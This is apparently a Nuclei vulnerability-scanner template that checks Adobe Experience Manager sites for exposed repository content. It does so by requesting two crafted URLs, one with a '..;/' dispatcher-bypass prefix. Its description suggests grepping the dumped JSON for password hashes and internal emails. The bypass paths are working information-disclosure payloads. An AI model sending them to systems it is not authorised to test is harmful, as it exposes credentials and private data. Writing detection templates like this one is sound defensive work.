id: aem-secrets

info:
  name: AEM Secrets - Sensitive Information Disclosure
  author: boobooHQ,j3ssie
  severity: high
  description: |
    Possible Juicy Files can be discovered at this endpoint. Search / Grep for secrets like hashed passwords ( SHA ) , internal email disclosure etc.
  reference:
    - https://www.linkedin.com/feed/update/urn:li:activity:7066003031271616513/
  metadata:
    verified: true
    max-request: 2
  tags: aem,adobe,misconfig,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json"
      - "{{BaseURL}}/..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json"

    headers:
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Language: en-US,en;q=0.9,hi;q=0.8
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"jcr:uuid"'
          - '"jcr:createdBy"'
          - '"uri"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c37e5b2c26f65f7f662f87695460ad382e23844e2a58896da4a56ea52e90303f02210090bcfb64f4a2b0d78e88d0cfb3745acfc14df1d39cd4cd02b3b6c74b66ae1b60:922c64590222798bb761d5b6d8e72950